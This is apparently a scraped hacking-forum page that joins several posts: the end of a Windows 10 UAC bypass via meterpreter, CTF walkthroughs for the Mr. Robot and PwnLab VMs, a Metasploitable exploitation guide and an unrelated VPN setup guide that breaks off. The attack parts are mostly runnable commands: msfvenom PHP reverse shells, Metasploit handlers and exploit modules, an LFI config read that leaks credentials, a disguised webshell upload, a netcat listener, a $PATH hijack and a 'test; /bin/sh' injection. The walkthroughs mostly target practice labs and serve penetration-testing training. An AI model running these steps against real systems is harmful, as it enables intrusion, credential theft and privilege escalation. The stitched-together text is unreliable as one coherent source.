d:\\ –> is location of where the file will be uploaded in victim’s PC
As the file is uploaded, open metasploit simultaneously and type :
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 102.168.0.106
set lport 443
exploit
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ckAyyfHIN9Q/V8VkxaVsbdI/AAAAAAAANWs/FZYTBSkVo84E6polVF4PJSfhessnxtx5ACLcB/s1600/2.png?w=687&ssl=1)
Once this exploit is executed. go to the meterpreter session that you previously had and type :
shell
Typing shell will take you to the shell of the PC. Now further type :
d: (This command will take into the D Drive of victim’s PC i.e where you upload your file)
TpmInitUACBypass.exe 192.168.0.106 msf (This command will execute your uploaded file)
As the command will make our file execute we will have a session with administrator privileges as shown
This way it is quite easy to bypass administrator access in windows 10. Thus, nothing is impossible in hacking.
This is our another article of root2boot penetration testing challenge. We will walk through an exploitable framework Mr. Robot. It is based on the TV show, Mr. Robot, it has three keys hidden in different locations. The main goal is to find all three tokens hidden in the system. Each key is progressively difficult to find. Breaking into it isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
First Download the Mr. Robot Lab from[To see content please register here]
Penetrating Methodology:
- Network Scanning (Nmap, netdiscover)
- Recon (Nikto)
- Use robot.txt
- Grab 1st key
- Download fsocity.dic file and use a dictionary
- WordPress password cracking (wpscan)
- Login into WordPress
- Generate PHP Backdoor (Msfvenom)
- Upload and execute a backdoor
- Reverse connection (Metasploit)
- Get MD5 hash and decrypt it
- Import python one-liner for proper TTY shell
- Find / perm u=s for Privilege Escalation
- Get Root access and capture the flag.
First of all, we have to find its IP address and for that go to the terminal of your Kali and type :
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-YqeYk7xebAM/Wu3FCB3vEvI/AAAAAAAAWrg/Rx7wBsSMUoYPhViAB2LHWxUclZdUqRhywCLcBGAs/s1600/1.png?w=687&ssl=1)
Upon the execution of the above command, we will know about all the IP addresses in our network. Our target IP is 192.168.1.103, let us scan it.
To scan our target IP we will use aggressive scan (-A)
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-pBBZD0ioNhw/Wu3FEMeSdVI/AAAAAAAAWsE/0JKxSQUB7CA_VoW_qAmgUTHgAKUsdVdFACLcBGAs/s1600/2.png?w=687&ssl=1)
The scan’s result shows us the open ports are: 22, 80, and 443. As the 80 port is open we can try and open this IP in our browser.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-XizpEqhZ-lw/Wu3FEyUv3hI/AAAAAAAAWsI/o9cJyX9tjAcx-qGu-iUMoXeKtqF4G8KAwCLcBGAs/s1600/3.png?w=687&ssl=1)
And yes, it opens which further confirms our target.
Next, we will apply the Nikto command to it. Nitko command will help us to gather information like its files and all the other major stuff that we ought to know about our target. So, therefore, type:
nitko -h 192.168.1.103
1
nitko -h 192.168.1.103
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-F0mVlktnGZQ/Wu3FFLPRntI/AAAAAAAAWsM/6up-1OxQuKw6XWPzyvC_R2y-u9QJNTNIwCLcBGAs/s1600/4.png?w=687&ssl=1)
From the result, we can gather that there a text file with the name of robots.txt which might provide us with some further information. Moreover, it also tells us that the WordPress installation was found.
So now let us try to open robots.txt in the browser. Yesssssssss!! It gave something to us let open each file one-by-one.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-DrqgOl3Jmew/Wu3FFVAJGsI/AAAAAAAAWsU/M-EoS9LrDtYjcc5P-LWLkp_z9FZ6J4MoACLcBGAs/s1600/5.png?w=687&ssl=1)
Excellent!!! Inside key-1-of-3.txt we found our 1st key.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-_6pH20IkkpQ/Wu3FFUWTnkI/AAAAAAAAWsQ/Z4srSjOrgUECNIt3uXGBbwvrz7u9se5fACLcBGAs/s1600/6.png?w=687&ssl=1)
Now open fsocity.dic file in the browser which is a dictionary file. Let us first try and open this dictionary file the browser. Once we open the said dictionary file in the browser, it asks us to download it. Going ahead we downloaded and opened it. It is a file which may contain username or passwords.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-tCnpjVKhHjY/Wu3FFu-ez_I/AAAAAAAAWsY/m5pOtQxGcR4bydF1lj8jkuZY6H8tAXiUgCLcBGAs/s1600/7.png?w=687&ssl=1)
So now we know that we might have username or passwords, we will try and login into our target. One by one we have tried every username and it has given the error that the username doesn’t exist. But when we used the name elliot it gave us the error that the password is empty.
With this, we know one thing for sure that elliot is a correct username and now we just have to find a password for it.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-bc1Oa2pSgWg/Wu3FGIGXqeI/AAAAAAAAWsc/hLwSi2n0U3Awi3al7gQzQg7YICOj4W-VACLcBGAs/s1600/8.png?w=687&ssl=1)
Our best guess to find the password the same dictionary file from which we found the username. Thus, moving forward we will use WPScan to find our password from the same file.
wpscan -u [To see content please register here] --username Elliot --wordlist /root/Desktop/fsocity.dic
1
wpscan -u [To see content please register here] --username Elliot --wordlist /root/Desktop/fsocity.dic
When the execution is completed (which may time much time as in our case it took almost 4 hours) you will have the password for the username elliot which is
ER28-0652
1
ER28-0652
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Z_dno-FA0iM/Wu3FGEUxHJI/AAAAAAAAWsg/PBQviQNNO8MmGP6wMhVZDOQOTqbG40WogCLcBGAs/s1600/9.png?w=687&ssl=1)
Using the password, login into the WordPress and open 404 templates to add a new theme.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ko5Thzrg1d4/Wu3FCTkKskI/AAAAAAAAWro/FN7FjoGNeh0p1LN8QnRRWhdH67YLOizfACLcBGAs/s1600/10.png?w=687&ssl=1)
Once you have logged in, make the malicious file that you got to upload in it. Generate code through the msfvenom command:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
On the other hand run multi/handler inside Metasploit framework.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-wW8_TeAY9rg/Wu3FCC27sLI/AAAAAAAAWrk/u_ONdCQXk_8RwzhdxOp2A7NP87ppzMNSwCLcBGAs/s1600/11.png?w=687&ssl=1)
Copy the code from <?php to die(); and paste it on template(and save it)
Now you have access to a WordPress admin console is to replace one of the theme templates with some PHP of your own. I decided to try for a reverse shell by editing the 404.php theme and replacing the contents with the msfvenom generated shell.
Once the php code is saved, then, open the path of the template in the browser as shown: Browsing to
[To see content please register here]
1
[To see content please register here]
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-YzAHnkYeVVM/Wu3FCqHHSdI/AAAAAAAAWrs/5XBJiTeU5107798j7uZFJB-4vcOsI0s4ACLcBGAs/s1600/12.png?w=687&ssl=1)
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
cd home
ls
1
2
cd home
ls
Now, to know the information about the robot folder/file we will type:
We now know that there are two important files, one of them is a text file other is a password in the form of MD5. If we try to open the text file by typing:
cat key-2-of-3.txt
1
cat key-2-of-3.txt
It will not open as we do not have the permission to do so. But now let us try and open the MD5 file and for that type:
cat password.raw-md5
1
cat password.raw-md5
Executing the above command will give an MD5 value (hash value) of the password as you can see below:
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-znDfPX22ZdY/Wu3FC5WgWHI/AAAAAAAAWrw/kHNaXsXp6rcJnGiJftyiBPSs_XaAK88WACLcBGAs/s1600/13.png?w=687&ssl=1)
We will use md5 online decrypting tool for cracking this MD5 value. Enter the MD5 value into the hash box and obtain the result. The value will translate to abcdefghijklmnopqrstuvwxyz as shown below.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-dNgyPPjg35o/Wu3FC-PS4uI/AAAAAAAAWr0/N2Jjpr_myWsSeGPbuplf_EjQUUhSHtbcgCLcBGAs/s1600/14.png?w=687&ssl=1)
Then to access proper TTY shell we had import python one line script by typing following:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
2
shell
python -c 'import pty;pty.spawn("/bin/bash")'
Now in the terminal try to switch the user to the robot by the command:
su robot
1
su robot
Following the command, it will ask you for the password. Enter the MD5 cracked password here and you will enter the robot user and gain its information type:
ls
1
ls
Now, try to open the remaining text file by typing:
cat key-2-of-3.txt
1
cat key-2-of-3.txt
Here I will read the second key file
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-L-md4kdwv-A/Wu3FDalYbPI/AAAAAAAAWr8/qovDJdMaeaw-KrPNNvw_zhGvisGjQvQgACLcBGAs/s1600/15.png?w=687&ssl=1)
Now let’s find out all those files having root privilege by using the following command.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
It has shown so many binary files but I was interested in nmap from its output result.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-lfYu_vILZio/Wu3FDUW9YZI/AAAAAAAAWr4/0ijKij3MdxA32O6-tXqphxPwHXHccxBqwCLcBGAs/s1600/16.png?w=687&ssl=1)
Nmap supported an option called “interactive.” With this option, users were able to execute shell commands by using a nmap “shell” (interactive shell).
Next type the following:
nmap --interactive
1
nmap --interactive
With the above commands you will enter nmap then type:
!sh
id
cd /root
ls -lsa
cat key-3-of-3.txt
1
2
3
4
5
!sh
id
cd /root
ls -lsa
cat key-3-of-3.txt
And upon the execution of we will obtain 3 of 3 keys, hence entering Mr. Robot. There are many ways to perform the above but this method is the easiest. We hope you find it effective and interesting and it helps you to improve.
|
|
|
|
| [Guide] How to Penetration Testing in PwnLab (CTF Challenge) |
|
Posted by: NINZA - 04-24-2020, 02:58 PM - Forum: General Discussion
- No Replies
|
 |
In this article, we will walkthrough a root2boot penetration testing challenge i.e PwnLab. PwbLab is a vulnerable framework, based on the concept of CTF (capture the flag), with a bit of security which is a little complicated to bypass. But it’s not impossible. So, let us learn how we can get access.
Download From [To see content please register here]
Penetrating Methodology:
- Network Scanning (Nmap, netdiscover)
- Information Gathering (Nikto)
- Abusing config.php file (curl & PHP filter convert)
- Obtain Mysql Database credential
- Extract user credential from Mysql Database
- Login to web application
- Upload webshell (PHP reverse shell)
- Executing Uploaded PHP backdoor (Burp suit)
- Netcat session
- Import python one-liner for proper TTY shell
- Find SUID Binaries
- Privilege Escalation by Manipulating $PATH
- Get Root access and capture the flag.
Let’s Start!!!
Now to start let us, firstly, consider that we do not know the IP of the PwnLab, therefore search for the IP address beforehand and for that there is a command that shows us all the IP’s present in our network, so go to the terminal of you Kali and type :
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-CAIBNgV3lew/WxAYeiCQqkI/AAAAAAAAXF4/AfN6yLhAta4qVmUX5oizfYJCxQvZ7AMpQCLcBGAs/s1600/1.png?w=687&ssl=1)
Target IP = 192.168.1.103
And to know that we start our penetration testing. So, first, we will now scan with nmap, we will apply an aggressive scan as it gives detailed information and is fast. The command is :
nmap -A 192.168.1.103
1
nmap -A 192.168.1.103
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-rApl4kL_tgI/WxAYiHNgXRI/AAAAAAAAXGY/BFuvUAx7IUAiDIo1MXWAY1a5KJzIy1eVgCLcBGAs/s1600/2.png?w=687&ssl=1)
We have the result of scanning and as you can see there are only three ports open and they are 80, 111, 3306. It is our best shot but also to be sure let us check this IP on our browser. In the browser, we can see that PwnLab has three pages: home, log in and upload. To enter the server we have to upload our code into it and for we must know username and password.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-NPpex4gLgnE/WxAYiLp8MjI/AAAAAAAAXGc/3j4NAeGuL-MXgmUQ6Prx_19trxqV3cY9ACLcBGAs/s1600/3.png?w=687&ssl=1)
As we need to know about username and password, we will use Nikto command to find out the file which is storing them. Nikto helps us to know all the file names and the data they are containing. And the command to for this is:
nikto -h [To see content please register here]
1
nikto -h [To see content please register here]
As you can see /config.php: PHP Config file may contain database IDs and password is the file that has username and passwords. Moreover, login.php for admin login page is found.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-fVVury92Ato/WxAYiV7Or4I/AAAAAAAAXGg/kEZoydFTpiQp0hbbiNEKsDtt9xtIFJuxACLcBGAs/s1600/4.png?w=687&ssl=1)
So when we open target IP on the browser and explore Login tab then it gives login form as shown below. As we were unaware of its login credential thus we try SQL injection techniques but nothing was useful now the last options was to use CURL. If you will observe the URL [To see content please register here] then you can count that its look like that LFI.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-mL778jydumU/WxAYitQFzmI/AAAAAAAAXGk/akG1c3Lj48gh5iIzoHP6WjR66xxzVjpDgCLcBGAs/s1600/5.png?w=687&ssl=1)
But it was not easy that much to exact information by exploiting LFI with help of ../etc/password therefore by making little bit more effort and taking help from my previous [To see content please register here] we used curl command to find out the data from an inside config.php file with the help of PHP base64-encode.
curl [To see content please register here]
1
curl [To see content please register here]
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-q2AlMfHv_AY/WxAYi1_htOI/AAAAAAAAXGo/bFC_4r_qdQA07EfEuQ0ezKwaKAKAwGFkwCLcBGAs/s1600/6.png?w=687&ssl=1)
And the highlighted part of the above image is our result and has the information about username and passwords. But note that the information is in base64 code which we will have to decode in order to read it. In order to decode copy the base 64 text and follow below syntax.
echo 'base 64 encoded text' | base64 -d
1
echo 'base 64 encoded text' | base64 -d
Thus we found the following information after decoding.
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
1
2
3
4
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-kFXlfpKJChw/WxAYjONfBwI/AAAAAAAAXGs/iSK6Mv_8vy0IYB-vOfIj80ywjngmSdAswCLcBGAs/s1600/7.png?w=687&ssl=1)
So, the username is root and password is H4u%QJ_H99.
Now we use MySQL command to see the username and passwords. And the SQL command is:
mysql -h 192.168.1.103 -u root -p Users
1
mysql -h 192.168.1.103 -u root -p Users
After typing the command it asks the password, so here enter the decoded password and press enter.
kent | Sld6WHVCSkpOeQ
mike | U0lmZHNURW42SQ
kane | aVN2NVltMkdSbw
1
2
3
kent | Sld6WHVCSkpOeQ
mike | U0lmZHNURW42SQ
kane | aVN2NVltMkdSbw
And so, you will have the usernames and password as in this case the usernames are kent, mike, Kane with their passwords in base64 code.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Dniq9WuQ68o/WxAYjcu08XI/AAAAAAAAXGw/5-jcLIWtDGAwHz0_TS8j6oVzAy8zAtcRQCLcBGAs/s1600/8.png?w=687&ssl=1)
To decode each password follow the same method using echo command with -d option as shown and thus you will decode the password.
Kent: JWzXuBJJNy
Mike: SIfdsTEn6I
Kane: Sv5Ym2GRo
1
2
3
Kent: JWzXuBJJNy
Mike: SIfdsTEn6I
Kane: Sv5Ym2GRo
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Anp-Wz34ZD4/WxAYjmaaKRI/AAAAAAAAXG0/8_a0lumiOSof1Si1XgYOwt7HB0kXikgnQCLcBGAs/s1600/9.png?w=687&ssl=1)
By using Kane credential, we login successfully, with help of upload option we can upload any image.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-LNZqDUOf_6Y/WxAYevKboxI/AAAAAAAAXF0/flv9Rutw9VEdv3cvlwD8z4nUEn-1D8j4ACLcBGAs/s1600/10.png?w=687&ssl=1)
Here, upload option is like a dynamic opportunity for us, because through this we can upload any backdoor file for reverse connections. We know that in Kali Linux there are several PHP backdoors among those we have used usr/share/webshell/php/php-reverse-shell. BUT you need to modify it by adding GIF98 and save as shell.gif because here you can able to upload only a file with extension GIF, png and img.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-dp1gSqN7J_w/WxAYeqfqFQI/AAAAAAAAXF8/ZBdgCaWiIBYh8JR2Dvk_U_1ztFQf2mAcgCLcBGAs/s1600/12.png?w=687&ssl=1)
After changing the extension when you will try to upload the file you will succeed. Now the uploaded file must be executed at once to achieve reverse connection. Once the file is uploaded, we still need a way to execute this file. And for that right click on that file and click on copy image location option. Further, open a new terminal to start Netcat listen for the reverse connection.
nc -lvp 1234
1
nc -lvp 1234
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-PriVLOdMtLo/WxAYfkTGdgI/AAAAAAAAXGA/SidSL5eiO0wkupQgyKWUFCa18KNzBWdagCLcBGAs/s1600/13.png?w=687&ssl=1)
Now capture its HTTP request inside burp suit or tamper data. Here its shows that the “lang” parameter is set as a cookie and might be it could use for our malicious file execution. Inside the cookie option delete whatever was written and type:
lang=../*Image location path*
1
lang=../*Image location path*
Here,
*image location path* is the path of the file that you uploaded and had copied it after that.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-pJu2Yxg6h8A/WxAYgTzgEwI/AAAAAAAAXGE/Pn27QRdXbjA8UtUBc562gSXz7KULxDvwwCLcBGAs/s1600/14.png?w=687&ssl=1)
Once above said changes are done then forward the intercepted request and open the terminal where netcat listener was activated here you will find the reverse connection of victim’s machine. To access proper tty shell execute below command, start penetrating more to get the flag.
python -c 'import pty; pty.spawn("/bin/bash")'
cd /home
ls
su kane
iSv5Ym2GRo
1
2
3
4
5
python -c 'import pty; pty.spawn("/bin/bash")'
cd /home
ls
su kane
iSv5Ym2GRo
Here,
su –> denotes the switch user
kane –> the user you want to switch to
iSv5Ym2GRo –> is the password
Next, if you type ls command you will that there is a folder named home in the user that we just entered. So, will go into that folder and to do so, type;
cd home
ls
cd kane
ls
1
2
3
4
cd home
ls
cd kane
ls
Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
As you can see in the image below, there is a file in Kane user called msgmike. Let us try to open it and therefore, type :
./msgmike
1
./msgmike
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-BKNocrDZTks/WxAYgT6y2_I/AAAAAAAAXGI/DkiWeVmNaTE-Rkn9x6AJgbAKt-KptAcUwCLcBGAs/s1600/15.png?w=687&ssl=1)
So we will try to run msgmike file, it put up an error message “cat: /home/mike/msg.txt No such file or directory”
The most important things which should be considered here that the author has set SUID bit ON for msgmike file and might be there could be any small program file which is calling system binaries such cat to a read file from inside given path i.e. /home/mike/msg.txt but the cat fails to find msg.txt file or directory. Taking its advantage, we will try to manipulate the environment PATH variable for cat to execute our /bin/bash command under user Mike.
To do this follow the below steps:
echo $PATH
echo '/bin/bash' > cat
chmod 777 cat
export PATH=./:$PATH
1
2
3
4
echo $PATH
echo '/bin/bash' > cat
chmod 777 cat
export PATH=./:$PATH
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-a0qwBSOgqNU/WxAYgm9-lHI/AAAAAAAAXGM/XB-Z-AFe6xgP_knLAKaQ06ksQgklBUZAACLcBGAs/s1600/16.png?w=687&ssl=1)
Now again run the msgmike file and you will get user Mike access. Hence above all steps was performed in direction of privilege escalation for user Mike but the root escalation is connected to phase indirectly as mike has a file msg2root which will take any Input command as the message to root.
cd mike
ls
1
2
cd mike
ls
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-blBtzbuOC38/WxAYhOAxHBI/AAAAAAAAXGQ/K5CODJ_Bj6gNRFxzOkD4oVzfGUVnrjQKACLcBGAs/s1600/17.png?w=687&ssl=1)
So when you will run the msg2root file, it will ask you to enter the message for root which will be considered as an input value and you can utilize this opportunity for privilege escalation as shown.
./msg2root
test; /bin/sh
id
cd /root
cat flag.txt
1
2
3
4
5
./msg2root
test; /bin/sh
id
cd /root
cat flag.txt
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-NsrbkNLBHVc/WxAYhtYM_BI/AAAAAAAAXGU/UKw9VnQu0vYWIDvEqvuRTTesUE-vVUnvQCLcBGAs/s1600/18.png?w=687&ssl=1)
HURRAYYYYYYYYYYYYY!! We hit the Goal and solved these challenges.
Metasploitable is a voluntarily created vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities Based virtual machine which helps us to conduct security training, test security tools, and practice common penetration testing techniques. The VM will run on any recent VMware products and other visualization technologies such as VirtualBox. You can download metasploitable from–> [To see content please register here]
Metasploit table is an exploitable framework which help us to improve our skills and also help use to use every port to our advantage as we all know that ports and protocols are the foundation of hacking so, therefore, the more you can take benefit off of the victim.
In this we will walk through the whole concept of metasploitable including how to install it and how to hack it step by step. We will take all the ports one by one which re vulnerable and try to exploit them. So, firstly you have to download metasploit from the above link. After the downloading is complete open VMware and click on Open a virtual machine.
Locate the VMware image of metasploitable that you just downloaded and click on OK.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-HRg-BZxx7X0/V8CTRLdhYxI/AAAAAAAANQI/0fMrj_96EYkIFJOSeyjHpcmqAZ7WBOorACLcB/s1600/2.png?w=687&ssl=1)
After clicking on OK the metasploitable will open in virtual machine and to run it just click on Power on this virtual machine and it will run your metasploitable.
On the verge of getting started it will ask you for username and password. Now, by default the username and passwords are: msfadmin and msfadmin respectively. Once you enter username and password your metasploitable will start.
Now that our vulnerable Linux machine is running and now type the ifconfig command to get the IP address
Now for penetration testing on the metasploitable go to the terminal of your Kali Linux and scan the IP of metasploitable through nmap so that we can which ports are open and this type:
nmap -sV 192.168.1.106
Due to the nmap command we can see which port is open and which service is going on which port, therefore, we can start our attack one by one to every vulnerable port. So, first we will attack on vsftpd2.3.4. As we know that this version is vulnerable, so let us exploit it. For this, open metasploit and type:
search vsftpd 2.3.4
Typing the above command will show the exploits that will help you in attack the said version. So further type:
use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 192.168.1.106
set rport 21
exploit
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-8G1EnKq9ZDw/V8CTWTAcsOI/AAAAAAAANQg/Jp7JWAJo6HsCGsJZRemwxZLABZWQsQvEQCLcB/s1600/7.png?w=687&ssl=1)
Once your attack is executed, you will reach in the shell of the metasploitable and so now you can do as you deserve.
Now, we will exploit ssh which works on port number 22. There is already existing exploit for this port. It will help us to apply dictionary attack to crack the password of metasploitable and so we will use it as :
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.106
set rport 22
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit
As you can see, after the execution of the file it will start matching all the username with the passwords to find the correct one. And in the end you will have your password along with the username.
Now we can use that password to the shell of metasploitable and for this just got to the terminal of Kali and type:
Here,
ssh –> is the service through which we are exploiting
msfadmin –> is the password
192.168.1.106 –> is the victim’s IP address
Upon execution you can see that you will automatically enter its shell.
Now, we will try and attack via telnet which works on port 23. This port will also help us to find password first and then we can enter its shell. So, for this type:
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.1.106
set rport 23
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-1ztnfu_D4Js/V8CTFhZwxCI/AAAAAAAANPs/vVtFQxb5Ymw2jv5XGn_1UTSzgFWIqNcwACLcB/s1600/10.png?w=687&ssl=1)
Similarly, as ssh, it will also start dictionary attack and step by step it will find the correct password. Now that you have the password you can log on to metasploitable.
telnet 192.168.1.106
After typing so, it will ask you for the username and password and once you enter these you will enter the metasploitable as shown below:
Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type:
use exploit/multi/http/php_cgi_arg_injection
set rhost 192.168.1.106
set rport 80
exploit
After the execution you will enter a meterpreter session of metasploitable as shown.
Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit:
use exploit/multi/samba/usermap_script
set rhost 192.168.1.106
set rport 139
exploit
The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.
Now, we will use the following exploit:
use exploit/multi/misc/java_rmi_server
set rhost 192.168.1.106
set rport 1899
exploit![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-8k1aaSB5jXE/V8CTMAw4nLI/AAAAAAAANP4/-_6mMBmTDRcRXpdCmZ3Xk3l8zc1iCEJOACLcB/s1600/14.png?w=687&ssl=1)
Again, after you hit enter button on your keyboard you will have a meterpreter session.
The next exploit is:
use exploit/linux/postgres/postgres_payload
set rhost 192.168.1.106
set rport 5432
exploit
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-ah_nL1PaTrI/V8CTOsbIAgI/AAAAAAAANQA/vCA1daOGJi8ns8y32HxeMDCA-GbI5zYVgCLcB/s1600/16.png?w=687&ssl=1)
Once the command is executed you will enter the meterpreter session as shown above.
The exploit that use is related to unreal ircd and to search its exploit type :
search Unreal ircd
And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.
To the exploit type:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.1.106
set rport 6667
exploit
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ujUoNsNEodc/V8CTRL-4uqI/AAAAAAAANQM/EpvHnv2S4yQ5uEmMcBTQiV4Jem9RlswIgCLcB/s1600/18.png?w=687&ssl=1)
And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.
These are all the attacks that you can use against metasploitable and in the process you can learn how to attack a real life victim using different ports.
You just need to follow the basic steps for configuring a remote access virtual private network (VPN) server using Server Manager, the Add Roles Wizard, and the Routing and Remote Access Server Setup Wizard. After you finish configuring a basic remote access VPN server, you can perform additional configuration tasks on client depending on the way you want to use the remote access VPN server.
Start -> Administrative Tools -> Server Manager. Click Add Roles
This wizard helps you install roll on your server, click on next to continue
![[Image: 2.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-8pW8kDGR-2M/V7xoT91hAQI/AAAAAAAANOo/9NSqXjLpPI48VLBYSpju5stjUBFhJebOACLcB/s1600/2.png?w=687)
Check the status of “Network Policy Server” under Role Services and click on next.
![[Image: 3.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-DaW5LyAY3hk/V7xoU6x8ocI/AAAAAAAANO8/XpleCEUc_T8aGUj7kdcvQCE83WzOjyxwQCLcB/s1600/3.png?w=687)
Read the requirements and click “Next” to continue.
![[Image: 4.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-ocERJlUDruU/V7xoVDOZYlI/AAAAAAAANPE/IJb88z5T5l8fohdUnpUUTgQx4_1t4iTUwCLcB/s1600/4.png?w=687)
On the following screen “Select Role Services” for Network Policy and Access Service, place a check mark on Routing and Remote Access Services and make sure “Remote Access Service” and “Routing” are selected as well. Click next to continue.
To install following role services for Network Policy and Access Service click on Install.
![[Image: 6.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-n5iXohqY2kM/V7xoVgEJ2wI/AAAAAAAANPI/kP7wgJVPzSsFZ5aeR6WMo4975uyVJe1gQCLcB/s1600/6.png?w=687)
This show the summary of Remote Access services and Routing were installed successfully. Once the installation finishes, click close to end the wizard.
Till here I have completed installation of VPN in server.
To complete configuration in Routing and Remote Access follow these step.
Start -> Administrative Tools ->Routing and Remote Access
![[Image: 8.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-5VkR91jcqO8/V7xoV1z1bKI/AAAAAAAANPQ/1Ete_pF4xG0kBTWtuhL1R7t3OI8S8vcSACLcB/s1600/8.png?w=687)
In the console that opens, right click your server name and right click on “Configure and Enable Routing and Remote Access “this configures Routing and Remote Access on the selected server.
In the Wizard you can enable any of following combinations of services. I will choose Custom Configuration for my server and click on Next.
Next is Routing and Remote Access server setup wizard in which I am going to decide which type of access should be allows to client to access server network.
You can configure the selected services in the Routing and Remote Access console. I am selecting the Check Box VPN access service on this server and click on next to continue
Now you have successfully completed the task of VPN access service in your server, to close this wizard click on finish.
Now you will get the dialog box which shows message that Routing and Remote Access service is ready to use. So click on Start Service.
Once the process is finished, and you are back on the main Server Manager window, routing and remote access should now be up and running.
Once you have successfully configuration of Routing and Remote, the administrator will select the desire user and give privilege to access the server through VPN connection for connecting client from different location.
Start -> Administrative Tools -> Active Directory Users and Computers -> Right Click the properties of an user
Click on the Dial-In tab and under “Network Access Permission” select Allow Access. Click on Apply and Ok to finish. Only selected client will be able to connect with server network through VPN using different network.
This was first phase of VPN configuration on server-side performs by administrator.
SETUP VPN CONNECTION FOR CLIENT ON WINDOWS 7
